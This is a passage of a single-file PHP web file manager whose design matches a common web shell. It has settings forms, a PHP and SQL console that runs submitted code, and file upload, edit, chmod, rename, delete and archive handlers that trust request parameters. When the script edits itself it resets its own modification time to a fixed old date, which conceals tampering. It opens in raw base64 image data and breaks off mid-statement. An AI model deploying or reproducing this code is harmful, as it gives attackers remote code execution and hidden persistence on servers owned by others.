HQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . 